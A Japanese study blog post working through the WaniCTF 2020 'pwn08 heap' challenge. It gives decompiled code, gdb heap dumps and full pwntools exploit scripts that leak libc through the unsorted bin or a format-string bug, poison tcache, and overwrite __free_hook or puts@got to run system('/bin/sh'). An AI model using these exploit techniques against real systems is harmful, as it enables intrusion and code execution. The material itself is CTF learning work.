1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 3 years have passed since last update.

WaniCTF 2020 pwn 08 heap を勉強した記録

Last updated at Posted at 2021-05-15

WaniCTF 2020 pwn 08 heap Writeup
ついにヒープバッファオーバーフローの勉強に踏み込んでしまった。
難しすぎる。
とりあえず,疑問に思ったことで,解決できたものについては解説をしてみました。
初めてヒープバッファオーバーフローに取り組む人が,偶然,WaniCTF 2020 heap を題材にするという状況ならば,参考になるところもあるかもしれません。

Heap Overflow の問題としては,連続して malloc が出来る分だけ簡単らしいです。

問題

nc heap.wanictf.org 9008
これが作問者の現在の限界です。

使用ツール例
pwntools
objdump
ghidra

セキュリティ保護
Partial RELocation ReadOnly (RELRO)
Stack Smash Protection (SSP)有効
No eXecute bit(NX)有効
Position Independent Executable (PIE)無効

脆弱性は?

動かしてみる

$ ./pwn08
1: add memo
2: edit memo
3: view memo
9: del memo
command?: 

Ghidraでデコンパイルしてみた

command
void command(void)
{
  int iVar1;
  int iVar2;
  void *pvVar3;
  
  print_menu();
  iVar1 = get_int();
  printf("index?[0-9]: ");
  iVar2 = get_int();
  if (iVar1 == 2) {
    printf("memo?: ");
    read(0,*(void **)(g_memos + (long)iVar2 * 8),0x100);
  }
  else {
    if (iVar1 < 3) {
      if (iVar1 == 1) {
        printf("size?: ");
        iVar1 = get_int();
        pvVar3 = malloc((long)iVar1);
        *(void **)(g_memos + (long)iVar2 * 8) = pvVar3;
      }
    }
    else {
      if (iVar1 == 3) {
        puts(*(char **)(g_memos + (long)iVar2 * 8));
      }
      else {
        if (iVar1 == 9) {
          free(*(void **)(g_memos + (long)iVar2 * 8));
          *(undefined8 *)(g_memos + (long)iVar2 * 8) = 0;
        }
      }
    }
  }
  return;
}
メニュー 処理の中身
1: add memo g_memos[i] = malloc(size)
2: edit memo read(0, g_memos[i], 0x100)
3: view memo puts(g_memos[i])
9: del memo free(g_memos[i]); g_memos[i]=null

mallocはサイズ指定なのに,readで0x100まで上書きできる。
ヒープオーバーフロー

putsは文字列の終端 0x00を見つけるまで出力し続けるので,readで上手に文字を埋めれば,チャンクの垣根を越えてデータを読めそうです。

ヒープの状態

add(0, 0x10)
add(1, 0x10)
add(2, 0x10)

を行った状態

gdb-peda$ x/16xg 0x603260
0x603260:	0x0000000000000000	0x0000000000000000
0x603270:	0x0000000000000000	0x0000000000000021
0x603280:	0x0000000000000000	0x0000000000000000
0x603290:	0x0000000000000000	0x0000000000000021
0x6032a0:	0x0000000000000000	0x0000000000000000
0x6032b0:	0x0000000000000000	0x0000000000020d51

その後

edit(0, AAA)
edit(2, CCC)

を行うと

gdb-peda$ x/16xg 0x603260
0x603260:	0x000000000a414141	0x0000000000000000
0x603270:	0x0000000000000000	0x0000000000000021
0x603280:	0x0000000000000000	0x0000000000000000
0x603290:	0x0000000000000000	0x0000000000000021
0x6032a0:	0x000000000a434343	0x0000000000000000
0x6032b0:	0x0000000000000000	0x0000000000020d51

さらに

edit(1, BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB)

を行うと

gdb-peda$ x/16xg 0x603260
0x603260:	0x000000000a414141	0x0000000000000000
0x603270:	0x0000000000000000	0x0000000000000021
0x603280:	0x4242424242424242	0x4242424242424242
0x603290:	0x4242424242424242	0x4242424242424242
0x6032a0:	0x000000000a430a42	0x0000000000000000
0x6032b0:	0x0000000000000000	0x0000000000020d51
0x6032c0:	0x0000000000000000	0x0000000000000000
0x6032d0:	0x0000000000000000	0x0000000000000000

ここで

view(1)

をすると

1: add memo
2: edit memo
3: view memo
9: del memo
command?: 3
index?[0-9]: 1
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
C

つまり,index1を表示したのにindex2に書いた Cが1文字読めてる

BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\x0aC\x0a が読めてる

\x0a無しでいけるのか?

AAAの後,[Enter]キーを押さず,[Ctrl]+d で入力を終わらせると

gdb-peda$ x/16xg 0x603260
0x603260:	0x0000000000414141	0x0000000000000000
0x603270:	0x0000000000000000	0x0000000000000021
0x603280:	0x4242424242424242	0x4242424242424242
0x603290:	0x4242424242424242	0x4242424242424242
0x6032a0:	0x0000000000434342	0x0000000000000000
0x6032b0:	0x0000000000000000	0x0000000000020d51

の状況が作り出せた。

1: add memo
2: edit memo
3: view memo
9: del memo
command?: 3
index?[0-9]: 1
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBCC

kusano氏のwriteupをベースに解く

Unsorted Binを利用したlibc leak

kusano氏のwriteupを読み解くのに非常に参考になった xornet氏の別問題のwriteup

0x3ebca0 って何だ?

libc.address = unsorted - 0x3ebca0 という計算で libc のベースアドレスを求めている
0x3ebca0って何だ?
xornet氏によるとgdbでオフセットを確認できるとのことだったので,真似してみる。

gdb で main_arena のアドレスを確認

gdb-peda$ p &main_arena
$1 = (struct malloc_state *) 0x7ffff7dcdc40 <main_arena>

main_arena のアドレスは,0x7ffff7dcdc40

gdb で libc base のアドレスを確認

gdb-peda$ info proc map
process 2115
Mapped address spaces:

          Start Addr           End Addr       Size     Offset objfile
            0x400000           0x401000     0x1000        0x0 /home/sita/share/pwn08
            0x601000           0x602000     0x1000     0x1000 /home/sita/share/pwn08
            0x602000           0x603000     0x1000     0x2000 /home/sita/share/pwn08
      0x7ffff79e2000     0x7ffff7bc9000   0x1e7000        0x0 /lib/x86_64-linux-gnu/libc-2.27.so
      0x7ffff7bc9000     0x7ffff7dc9000   0x200000   0x1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
      0x7ffff7dc9000     0x7ffff7dcd000     0x4000   0x1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
      0x7ffff7dcd000     0x7ffff7dcf000     0x2000   0x1eb000 /lib/x86_64-linux-gnu/libc-2.27.so
      0x7ffff7dcf000     0x7ffff7dd3000     0x4000        0x0 
      0x7ffff7dd3000     0x7ffff7dfc000    0x29000        0x0 /lib/x86_64-linux-gnu/ld-2.27.so
      0x7ffff7fe5000     0x7ffff7fe7000     0x2000        0x0 
      0x7ffff7ff8000     0x7ffff7ffb000     0x3000        0x0 [vvar]
      0x7ffff7ffb000     0x7ffff7ffc000     0x1000        0x0 [vdso]
      0x7ffff7ffc000     0x7ffff7ffd000     0x1000    0x29000 /lib/x86_64-linux-gnu/ld-2.27.so
      0x7ffff7ffd000     0x7ffff7ffe000     0x1000    0x2a000 /lib/x86_64-linux-gnu/ld-2.27.so
      0x7ffff7ffe000     0x7ffff7fff000     0x1000        0x0 
      0x7ffffffde000     0x7ffffffff000    0x21000        0x0 [stack]
  0xffffffffff600000 0xffffffffff601000     0x1000        0x0 [vsyscall]

libc base のアドレスは,0x7ffff79e2000

main_arena のアドレスは,0x7ffff7dcdc40だったのでオフセットを求めると 0x3ebc40 となる。
0x3ebca0に近いけど 0x60 違う

「サイズが大きいチャンクはtcacheやfastbinでは無く一度Unsorted Binへ放り込まれ、そのfdがmain_arena.topに相当するアドレスを指す」とのこと。

topの値は,

gdb-peda$ p main_arena
$2 = {
  mutex = 0x0, 
  flags = 0x0, 
  have_fastchunks = 0x0, 
  fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, 
  top = 0x0, 
  last_remainder = 0x0, 
  bins = {0x0 <repeats 254 times>}, 
  binmap = {0x0, 0x0, 0x0, 0x0}, 
  next = 0x7ffff7dcdc40 <main_arena>, 
  next_free = 0x0, 
  attached_threads = 0x1, 
  system_mem = 0x0, 
  max_system_mem = 0x0
}

mallocが呼ばれないとtopの値は0のまま

mallocまで進めてからtopの値を再確認

gdb-peda$ p main_arena
$3 = {
  mutex = 0x0, 
  flags = 0x0, 
  have_fastchunks = 0x0, 
  fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, 
  top = 0x603270, 
  last_remainder = 0x0, 
  bins = {0x7ffff7dcdca0 <main_arena+96>, 0x7ffff7dcdca0 <main_arena+96>, 
    0x7ffff7dcdcb0 <main_arena+112>, 0x7ffff7dcdcb0 <main_arena+112>, 
    0x7ffff7dcdcc0 <main_arena+128>, 0x7ffff7dcdcc0 <main_arena+128>, 
    0x7ffff7dcdcd0 <main_arena+144>, 0x7ffff7dcdcd0 <main_arena+144>, 
    0x7ffff7dcdce0 <main_arena+160>, 0x7ffff7dcdce0 <main_arena+160>, 
    0x7ffff7dcdcf0 <main_arena+176>, 0x7ffff7dcdcf0 <main_arena+176>, 
    0x7ffff7dcdd00 <main_arena+192>, 0x7ffff7dcdd00 <main_arena+192>, 
    0x7ffff7dcdd10 <main_arena+208>, 0x7ffff7dcdd10 <main_arena+208>, 
    0x7ffff7dcdd20 <main_arena+224>, 0x7ffff7dcdd20 <main_arena+224>, 
    0x7ffff7dcdd30 <main_arena+240>, 0x7ffff7dcdd30 <main_arena+240>, 
    0x7ffff7dcdd40 <main_arena+256>, 0x7ffff7dcdd40 <main_arena+256>, 
    0x7ffff7dcdd50 <main_arena+272>, 0x7ffff7dcdd50 <main_arena+272>, 
    0x7ffff7dcdd60 <main_arena+288>, 0x7ffff7dcdd60 <main_arena+288>, 
    0x7ffff7dcdd70 <main_arena+304>, 0x7ffff7dcdd70 <main_arena+304>, 
    0x7ffff7dcdd80 <main_arena+320>, 0x7ffff7dcdd80 <main_arena+320>, 
    0x7ffff7dcdd90 <main_arena+336>, 0x7ffff7dcdd90 <main_arena+336>, 
    0x7ffff7dcdda0 <main_arena+352>, 0x7ffff7dcdda0 <main_arena+352>, 
    0x7ffff7dcddb0 <main_arena+368>, 0x7ffff7dcddb0 <main_arena+368>, 
    0x7ffff7dcddc0 <main_arena+384>, 0x7ffff7dcddc0 <main_arena+384>, 
    0x7ffff7dcddd0 <main_arena+400>, 0x7ffff7dcddd0 <main_arena+400>, 
    0x7ffff7dcdde0 <main_arena+416>, 0x7ffff7dcdde0 <main_arena+416>, 
    0x7ffff7dcddf0 <main_arena+432>, 0x7ffff7dcddf0 <main_arena+432>, 
    0x7ffff7dcde00 <main_arena+448>, 0x7ffff7dcde00 <main_arena+448>, 
    0x7ffff7dcde10 <main_arena+464>, 0x7ffff7dcde10 <main_arena+464>, 
    0x7ffff7dcde20 <main_arena+480>, 0x7ffff7dcde20 <main_arena+480>, 
    0x7ffff7dcde30 <main_arena+496>, 0x7ffff7dcde30 <main_arena+496>, 
    0x7ffff7dcde40 <main_arena+512>, 0x7ffff7dcde40 <main_arena+512>, 
    0x7ffff7dcde50 <main_arena+528>, 0x7ffff7dcde50 <main_arena+528>, 
    0x7ffff7dcde60 <main_arena+544>, 0x7ffff7dcde60 <main_arena+544>, 
    0x7ffff7dcde70 <main_arena+560>, 0x7ffff7dcde70 <main_arena+560>, 
    0x7ffff7dcde80 <main_arena+576>, 0x7ffff7dcde80 <main_arena+576>, 
    0x7ffff7dcde90 <main_arena+592>, 0x7ffff7dcde90 <main_arena+592>, 
    0x7ffff7dcdea0 <main_arena+608>, 0x7ffff7dcdea0 <main_arena+608>, 
    0x7ffff7dcdeb0 <main_arena+624>, 0x7ffff7dcdeb0 <main_arena+624>, 
    0x7ffff7dcdec0 <main_arena+640>, 0x7ffff7dcdec0 <main_arena+640>, 
    0x7ffff7dcded0 <main_arena+656>, 0x7ffff7dcded0 <main_arena+656>, 
    0x7ffff7dcdee0 <main_arena+672>, 0x7ffff7dcdee0 <main_arena+672>, 
    0x7ffff7dcdef0 <main_arena+688>, 0x7ffff7dcdef0 <main_arena+688>, 
    0x7ffff7dcdf00 <main_arena+704>, 0x7ffff7dcdf00 <main_arena+704>, 
    0x7ffff7dcdf10 <main_arena+720>, 0x7ffff7dcdf10 <main_arena+720>, 
    0x7ffff7dcdf20 <main_arena+736>, 0x7ffff7dcdf20 <main_arena+736>, 
    0x7ffff7dcdf30 <main_arena+752>, 0x7ffff7dcdf30 <main_arena+752>, 
    0x7ffff7dcdf40 <main_arena+768>, 0x7ffff7dcdf40 <main_arena+768>, 
    0x7ffff7dcdf50 <main_arena+784>, 0x7ffff7dcdf50 <main_arena+784>, 
    0x7ffff7dcdf60 <main_arena+800>, 0x7ffff7dcdf60 <main_arena+800>, 
    0x7ffff7dcdf70 <main_arena+816>, 0x7ffff7dcdf70 <main_arena+816>, 
    0x7ffff7dcdf80 <main_arena+832>, 0x7ffff7dcdf80 <main_arena+832>, 
    0x7ffff7dcdf90 <main_arena+848>, 0x7ffff7dcdf90 <main_arena+848>, 
    0x7ffff7dcdfa0 <main_arena+864>, 0x7ffff7dcdfa0 <main_arena+864>, 
    0x7ffff7dcdfb0 <main_arena+880>, 0x7ffff7dcdfb0 <main_arena+880>, 
    0x7ffff7dcdfc0 <main_arena+896>, 0x7ffff7dcdfc0 <main_arena+896>, 
    0x7ffff7dcdfd0 <main_arena+912>, 0x7ffff7dcdfd0 <main_arena+912>, 
    0x7ffff7dcdfe0 <main_arena+928>, 0x7ffff7dcdfe0 <main_arena+928>, 
    0x7ffff7dcdff0 <main_arena+944>, 0x7ffff7dcdff0 <main_arena+944>, 
    0x7ffff7dce000 <main_arena+960>, 0x7ffff7dce000 <main_arena+960>, 
    0x7ffff7dce010 <main_arena+976>, 0x7ffff7dce010 <main_arena+976>, 
    0x7ffff7dce020 <main_arena+992>, 0x7ffff7dce020 <main_arena+992>, 
    0x7ffff7dce030 <main_arena+1008>, 0x7ffff7dce030 <main_arena+1008>, 
    0x7ffff7dce040 <main_arena+1024>, 0x7ffff7dce040 <main_arena+1024>, 
    0x7ffff7dce050 <main_arena+1040>, 0x7ffff7dce050 <main_arena+1040>, 
    0x7ffff7dce060 <main_arena+1056>, 0x7ffff7dce060 <main_arena+1056>, 
    0x7ffff7dce070 <main_arena+1072>, 0x7ffff7dce070 <main_arena+1072>, 
    0x7ffff7dce080 <main_arena+1088>, 0x7ffff7dce080 <main_arena+1088>, 
    0x7ffff7dce090 <main_arena+1104>, 0x7ffff7dce090 <main_arena+1104>, 
    0x7ffff7dce0a0 <main_arena+1120>, 0x7ffff7dce0a0 <main_arena+1120>, 
    0x7ffff7dce0b0 <main_arena+1136>, 0x7ffff7dce0b0 <main_arena+1136>, 
    0x7ffff7dce0c0 <main_arena+1152>, 0x7ffff7dce0c0 <main_arena+1152>, 
    0x7ffff7dce0d0 <main_arena+1168>, 0x7ffff7dce0d0 <main_arena+1168>, 
    0x7ffff7dce0e0 <main_arena+1184>, 0x7ffff7dce0e0 <main_arena+1184>, 
    0x7ffff7dce0f0 <main_arena+1200>, 0x7ffff7dce0f0 <main_arena+1200>, 
    0x7ffff7dce100 <main_arena+1216>, 0x7ffff7dce100 <main_arena+1216>, 
    0x7ffff7dce110 <main_arena+1232>, 0x7ffff7dce110 <main_arena+1232>, 
    0x7ffff7dce120 <main_arena+1248>, 0x7ffff7dce120 <main_arena+1248>, 
    0x7ffff7dce130 <main_arena+1264>, 0x7ffff7dce130 <main_arena+1264>, 
    0x7ffff7dce140 <main_arena+1280>, 0x7ffff7dce140 <main_arena+1280>, 
    0x7ffff7dce150 <main_arena+1296>, 0x7ffff7dce150 <main_arena+1296>, 
    0x7ffff7dce160 <main_arena+1312>, 0x7ffff7dce160 <main_arena+1312>, 
    0x7ffff7dce170 <main_arena+1328>, 0x7ffff7dce170 <main_arena+1328>, 
    0x7ffff7dce180 <main_arena+1344>, 0x7ffff7dce180 <main_arena+1344>, 
    0x7ffff7dce190 <main_arena+1360>, 0x7ffff7dce190 <main_arena+1360>, 
    0x7ffff7dce1a0 <main_arena+1376>, 0x7ffff7dce1a0 <main_arena+1376>, 
    0x7ffff7dce1b0 <main_arena+1392>, 0x7ffff7dce1b0 <main_arena+1392>, 
    0x7ffff7dce1c0 <main_arena+1408>, 0x7ffff7dce1c0 <main_arena+1408>, 
    0x7ffff7dce1d0 <main_arena+1424>, 0x7ffff7dce1d0 <main_arena+1424>, 
    0x7ffff7dce1e0 <main_arena+1440>, 0x7ffff7dce1e0 <main_arena+1440>, 
    0x7ffff7dce1f0 <main_arena+1456>, 0x7ffff7dce1f0 <main_arena+1456>, 
    0x7ffff7dce200 <main_arena+1472>, 0x7ffff7dce200 <main_arena+1472>, 
    0x7ffff7dce210 <main_arena+1488>, 0x7ffff7dce210 <main_arena+1488>, 
    0x7ffff7dce220 <main_arena+1504>, 0x7ffff7dce220 <main_arena+1504>, 
    0x7ffff7dce230 <main_arena+1520>, 0x7ffff7dce230 <main_arena+1520>, 
    0x7ffff7dce240 <main_arena+1536>, 0x7ffff7dce240 <main_arena+1536>, 
    0x7ffff7dce250 <main_arena+1552>, 0x7ffff7dce250 <main_arena+1552>, 
    0x7ffff7dce260 <main_arena+1568>, 0x7ffff7dce260 <main_arena+1568>, 
    0x7ffff7dce270 <main_arena+1584>, 0x7ffff7dce270 <main_arena+1584>, 
    0x7ffff7dce280 <main_arena+1600>, 0x7ffff7dce280 <main_arena+1600>, 
    0x7ffff7dce290 <main_arena+1616>, 0x7ffff7dce290 <main_arena+1616>, 
    0x7ffff7dce2a0 <main_arena+1632>, 0x7ffff7dce2a0 <main_arena+1632>, 
    0x7ffff7dce2b0 <main_arena+1648>, 0x7ffff7dce2b0 <main_arena+1648>, 
    0x7ffff7dce2c0 <main_arena+1664>, 0x7ffff7dce2c0 <main_arena+1664>, 
    0x7ffff7dce2d0 <main_arena+1680>, 0x7ffff7dce2d0 <main_arena+1680>...}, 
  binmap = {0x0, 0x0, 0x0, 0x0}, 
  next = 0x7ffff7dcdc40 <main_arena>, 
  next_free = 0x0, 
  attached_threads = 0x1, 
  system_mem = 0x21000, 
  max_system_mem = 0x21000
}

topの値は,0x603270

main_arena付近のメモリから,0x603270を探す

gdb-peda$ x/16xg &main_arena
0x7ffff7dcdc40 <main_arena>:	0x0000000000000000	0x0000000000000000
0x7ffff7dcdc50 <main_arena+16>:	0x0000000000000000	0x0000000000000000
0x7ffff7dcdc60 <main_arena+32>:	0x0000000000000000	0x0000000000000000
0x7ffff7dcdc70 <main_arena+48>:	0x0000000000000000	0x0000000000000000
0x7ffff7dcdc80 <main_arena+64>:	0x0000000000000000	0x0000000000000000
0x7ffff7dcdc90 <main_arena+80>:	0x0000000000000000	0x0000000000000000
0x7ffff7dcdca0 <main_arena+96>:	0x0000000000603270	0x0000000000000000
0x7ffff7dcdcb0 <main_arena+112>:	0x00007ffff7dcdca0	0x00007ffff7dcdca0

0x603270は,アドレスmain_arena+96にあった。
96 = 0x60
さっきの差の正体がわかった。

Unsorted Binを利用したlibc leakで判明するアドレスは,main_arena.topのアドレス。
main_arena.topのオフセットは0x3ebc40 + 0x60 = 0x3ebca0
厳密にはlibc-2.27.soにおけるmain_arena.topのオフセットは0x3ebc40 + 0x60 = 0x3ebca0

よって,libc.address = unsorted - 0x3ebca0 という計算で libc のベースアドレスが求まる

libc leak の確認

add(0, 0x10)
add(1, 0x410)
delete(1)

だと

gdb-peda$ x/16xg 0x603260
0x603260:	0x0000000000000000	0x0000000000000000
0x603270:	0x0000000000000000	0x0000000000020d91
0x603280:	0x0000000000000000	0x0000000000000000
0x603290:	0x0000000000000000	0x0000000000000000

何もない

add(0, 0x10)
add(1, 0x410)
add(2, 0x10)
delete(1)

だと

gdb-peda$ x/16xg 0x603260
0x603260:	0x0000000000000000	0x0000000000000000
0x603270:	0x0000000000000000	0x0000000000000421
0x603280:	0x00007ffff7dcdca0	0x00007ffff7dcdca0
0x603290:	0x0000000000000000	0x0000000000000000

欲しいものが入ってる。

fd って何?

この資料に出会うまで,さっぱりわからなかった。

「fd, bkメンバは使用中のchunkでは存在しない」ですと,どおりでgdbで追っても理解できないわけだ。
自分が調べた中では,唯一,fdがfreeした後で書かれると記述された素晴らしい資料だ。

__free_hook って何?

一応,システムがあらかじめ用意しているバックドア的なものと認識

最初からsystem("/bin/sh")をとるまで

チャンクを作っていく

add(0, 0x10)    RAX: 0x603260 --> 0x0 
add(1, 0x410)   RAX: 0x603280 --> 0x0 
add(2, 0x10)    RAX: 0x6036a0 --> 0x0 
add(3, 0x10)    RAX: 0x6036c0 --> 0x0 
add(4, 0x10)    RAX: 0x6036e0 --> 0x0 

作った直後にfdは無い

gdb-peda$ x/16xg 0x603260
0x603260:	0x0000000000000000	0x0000000000000000  <-- 0
0x603270:	0x0000000000000000	0x0000000000000421
0x603280:	0x0000000000000000	0x0000000000000000  <-- 1
0x603290:	0x0000000000000000	0x0000000000000000

gdb-peda$ x/16xg 0x6036a0
0x6036a0:	0x0000000000000000	0x0000000000000000  <-- 2
0x6036b0:	0x0000000000000000	0x0000000000000021
0x6036c0:	0x0000000000000000	0x0000000000000000  <---3
0x6036d0:	0x0000000000000000	0x0000000000000021
0x6036e0:	0x0000000000000000	0x0000000000000000  <-- 4
0x6036f0:	0x0000000000000000	0x0000000000020911

libcリーク

delete(1)
gdb-peda$ x/16xg 0x603260
0x603260:	0x0000000000000000	0x0000000000000000  <-- 0
0x603270:	0x0000000000000000	0x0000000000000421
0x603280:	0x00007ffff7dcdca0	0x00007ffff7dcdca0  <-- main_arena.top
0x603290:	0x0000000000000000	0x0000000000000000

何の布石?

delete(3)
gdb-peda$ x/16xg 0x6036a0
0x6036a0:	0x0000000000000000	0x0000000000000000  <-- 2
0x6036b0:	0x0000000000000000	0x0000000000000021
0x6036c0:	0x0000000000000000	0x0000000000603010  <-- free(3)
0x6036d0:	0x0000000000000000	0x0000000000000021
0x6036e0:	0x0000000000000000	0x0000000000000000  <-- 4
0x6036f0:	0x0000000000000000	0x0000000000020911

0x603010 何だ?

gdb-peda$ x/16xg 0x603000
0x603000:	0x0000000000000000	0x0000000000000251
0x603010:	0x0000000000000001	0x0000000000000000
0x603020:	0x0000000000000000	0x0000000000000000
0x603030:	0x0000000000000000	0x0000000000000000
edit(2, b"x"*0x20+pack(libc.symbols.__free_hook))

__free_hookのアドレスのかわりに 0x604042を入れてみる
※0x604042に意味はありません。ASCII文字でセグフォにならないアドレスというだけです。

command?: 2
index?[0-9]: 2
memo?: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB@` [Ctrl+d]
gdb-peda$ x/16xg 0x6036a0
0x6036a0:	0x4141414141414141	0x4141414141414141  <-- edit(2)
0x6036b0:	0x4141414141414141	0x4141414141414141
0x6036c0:	0x0000000000604042	0x0000000000603010
0x6036d0:	0x0000000000000000	0x0000000000000021
0x6036e0:	0x0000000000000000	0x0000000000000000  <-- 4
0x6036f0:	0x0000000000000000	0x0000000000020911
add(5, 0x10)
RAX: 0x6036c0 --> 0x604042 --> 0x0 
gdb-peda$ x/16xg 0x6036a0
0x6036a0:	0x4141414141414141	0x4141414141414141  <-- 2
0x6036b0:	0x4141414141414141	0x4141414141414141
0x6036c0:	0x0000000000604042	0x0000000000000000  <-- 5
0x6036d0:	0x0000000000000000	0x0000000000000021
0x6036e0:	0x0000000000000000	0x0000000000000000  <-- 4
0x6036f0:	0x0000000000000000	0x0000000000020911

ヒープバッファオーバーフローで書き込んだ 0x604042 が残ってる
これを使ってしまえば, UAF ( Use After Free ) ってこと?

add(6, 0x10)
RAX: 0x604042 --> 0x0 

おー狙ったアドレスにヒープが割り当てられた。

edit(6, pack(libc.symbols.system))
edit(0, b"/bin/sh\0")
delete(0)

__free_hookのアドレスに,systemのアドレスを書き込み
チャンク(0)に引数を書き込んで
free(0)でフックをキックしている。

kusano氏の攻撃コードは,そのまんまで動きました。
コードが気になる方はkusano氏のページで確認してください。

簡単に要点をまとめると
大きいサイズのチャンクをfreeするとmain_arena.topのアドレスがfdに書かれるのでlibc base アドレスをとれる(=systemのアドレスがとれる)
__free_hookにsystem()のアドレスを書き込んだ状態で,"bin/sh\x00"を書き込んだチャンクをfreeしたらsystem("/bin/sh")が走る。
 

satoooon氏のwriteupをベースに解く

Format String Bugを利用したlibc leak

satoooon氏のwriteupを読み解くのに非常に参考になった yudai氏のwriteup

こんどは libc leak に FSBをつかっているようです。
そしてsystem("/bin/sh\x00")をやるのにputs@gotを書き換えてる

FSBって何?

%llx

攻撃コード

satoooon氏のコードはコピペだと動かない仕様だったので,つぎはぎして動くようにしてみました。

pwn082.py
# coding: UTF-8
from pwn import *
import sys
import re

context.terminal = "wterminal"
context.arch = "amd64"

def get_io():
    # debugは動かない
    if len(sys.argv) > 1 and sys.argv[1] == "debug":
        io = gdb.debug(file, command)
    elif len(sys.argv) > 1 and sys.argv[1] == "remote":
        _, domain, port = nc.split()
        io = remote(domain, int(port))
    else:
        io = process(file) 
    return io

file = "./pwn08"
libc = "./libc-2.27.so"
nc = "nc heap.wanictf.org 9008"

chall = ELF(file)
libc = ELF(libc)

io = get_io()

def add(index, size):
    io.recvuntil("command?: ")
    io.sendline("1")
    io.recvuntil("[0-9]: ")
    io.sendline(str(index))
    io.recvuntil("size?: ")
    io.sendline(str(size))

def edit(index, data):
    io.recvuntil("command?: ")
    io.sendline("2")
    io.recvuntil("[0-9]: ")
    io.sendline(str(index))
    io.recvuntil("memo?: ")
    io.sendline(data)

def view(index):
    io.recvuntil("command?: ")
    io.sendline("3")
    io.recvuntil("[0-9]: ")
    io.sendline(str(index))

def delete(index):
    io.recvuntil("command?: ")
    io.sendline("9")
    io.recvuntil("[0-9]: ")
    io.sendline(str(index))

add(0, 20)
add(1, 20)
add(2, 20)
delete(2)
delete(1)
# tcache => 1 => 2

payload = b""
payload += b"A" * 0x18
payload += p64(0x21) # size
payload += p64(chall.got["puts"]) # fd
payload += p64(0) # key
edit(0, payload)

delete(1)
# tcache => 1 => puts@got
add(1, 20)
# tcache => puts@got
add(2, 20)  # 2のアドレスがputs@gotになる

# FSB用のチャンク
add(3, 100)
# FSBをするためにputs@gotをprintf@pltに置き換える
edit(2, p64(chall.plt["printf"]))
# FSBでlibc leak
edit(3, "%11$llx")

view(3)
io.recvuntil("***** 3 *****\n")
view_data = io.recvline()
log.info("view_data = %s" % view_data)
libc_leak = int(view_data,16)
log.info("leak: = %s" % hex(libc_leak))

libc.address = libc_leak - (libc.sym["__libc_start_main"] + 231)
log.info("libc base = %s" % hex(libc.address))

# puts@gotをsystemに置き換える
edit(2, p64(libc.sym["system"]))
edit(3, "/bin/sh\x00")

io.interactive()

ctf4b Beginner’s Heap風に

SECCON Beginners CTF 2020 Beginner’s Heap風に,連続して malloc できない制約下で攻撃コードを書いてみた。

参考にした作問者writeup

pwn084.py
前半部分は省略
add(0, 20) #このアドレスを A とする(bofはあるがfreeできない制約がある)
add(1, 20) #このアドレスを B とする(mallocとfreeができるが,mallocサイズは0x18固定)
delete(1)
# (0x20) tcache  -->  B

payload = b""
payload += b"A" * 0x18
payload += p64(0x30) # <-- ★★★ここが重要
payload += p64(chall.got["puts"])
edit(0, payload)
# (0x20) tcache  -->  B  -->  puts@got
# サイズのチェックしてない

add(1, 20) 
# (0x20) tcache  -->  puts@got

delete(1)
# (0x30) tcache  -->  B
# (0x20) tcache  -->  puts@got

add(1, 20) # 1のアドレスがputs@gotになる

# FSB用のチャンク
add(5, 100)
# FSBをするためにputs@gotをprintf@pltに置き換える
edit(1, p64(chall.plt["printf"]))
# FSBでlibc leak
edit(5, "%11$llx")

view(5)
io.recvuntil("***** 5 *****\n")

view_data = io.recvline()
log.info("view_data = %s" % view_data)

libc_leak = int(view_data,16)

log.info("leak: = %s" % hex(libc_leak))

libc.address = libc_leak - (libc.sym["__libc_start_main"] + 231)
log.info("libc base = %s" % hex(libc.address))

# puts@gotをsystemに置き換える
edit(1, p64(libc.sym["system"]))
edit(5, "/bin/sh\x00")

Pwngdb との出会い

チャンクはmallocの戻り値でアドレスがわかっていたのでgdbでのぞいていたが,tcacheをどうやって見るのかわからなかった。
が,わかった。
gdb for pwnをインストールすれば,見れそうだ。

Pwngdb のインストール

狙ったアドレスにヒープを作成する

まず,最初に狙ったアドレスにヒープを作成するのをやってみます。

add(0, 16)
add(1, 16)
add(2, 16)
gdb-peda$ x/16xg 0x603260
0x603260:	0x0000000000000000	0x0000000000000000  <-- 0
0x603270:	0x0000000000000000	0x0000000000000021
0x603280:	0x0000000000000000	0x0000000000000000  <-- 1
0x603290:	0x0000000000000000	0x0000000000000021
0x6032a0:	0x0000000000000000	0x0000000000000000  <-- 2
0x6032b0:	0x0000000000000000	0x0000000000020d51

gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x6032b0 (size : 0x20d50) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
del(1)
gdb-peda$ x/16xg 0x603260
0x603260:	0x0000000000000000	0x0000000000000000  <-- 0
0x603270:	0x0000000000000000	0x0000000000000021
0x603280:	0x0000000000000000	0x0000000000603010  <-- free
0x603290:	0x0000000000000000	0x0000000000000021
0x6032a0:	0x0000000000000000	0x0000000000000000  <-- 2
0x6032b0:	0x0000000000000000	0x0000000000020d51

gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x6032b0 (size : 0x20d50) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x20)   tcache_entry[0](1): 0x603280

おー,freeしたばっかりの 0x603280 を再利用しようとしてるw
